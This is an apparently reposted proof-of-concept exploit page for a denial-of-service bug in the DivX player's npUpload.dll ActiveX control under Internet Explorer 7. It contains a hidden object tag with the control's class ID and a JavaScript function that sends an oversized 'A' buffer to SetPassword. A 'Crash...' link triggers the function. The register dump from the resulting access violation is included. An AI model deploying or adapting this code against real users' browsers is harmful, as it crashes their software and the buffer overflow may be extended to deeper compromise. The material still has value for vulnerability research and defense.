<object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;">
</object>

<script>
function crash() {
var buff = '';
for(i=0;i<=500;i++) {buff+="AAAAAAAAAA";}

object = document.getElementById("divx");
object.SetPassword(buff);
}
</script>

<pre>
<h3><u>DivX SetPassword (npUpload.dll) Denial of Service</u></h3>
<b>Tested on IE 7 and Divx Player 6.6.0</b>

<b>Registers:</b>

EAX 00000000
ECX FFFFFFFF
EDX 0191CA50
EBX 008E06E0
ESP 0191C9E4
EBP 0191CA50
ESI 00000000
EDI 00000000
EIP 061F2B52 npUpload.061F2B52

Access violation when reading [00000000]...


<i>Discovered by shir, 02/01/2007</i>

<a href="javascript:;" OnClick="crash()">Crash...</a>
</pre>

Bug&Exp | Comments(0) | Trackbacks(0) | Reads(7684)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive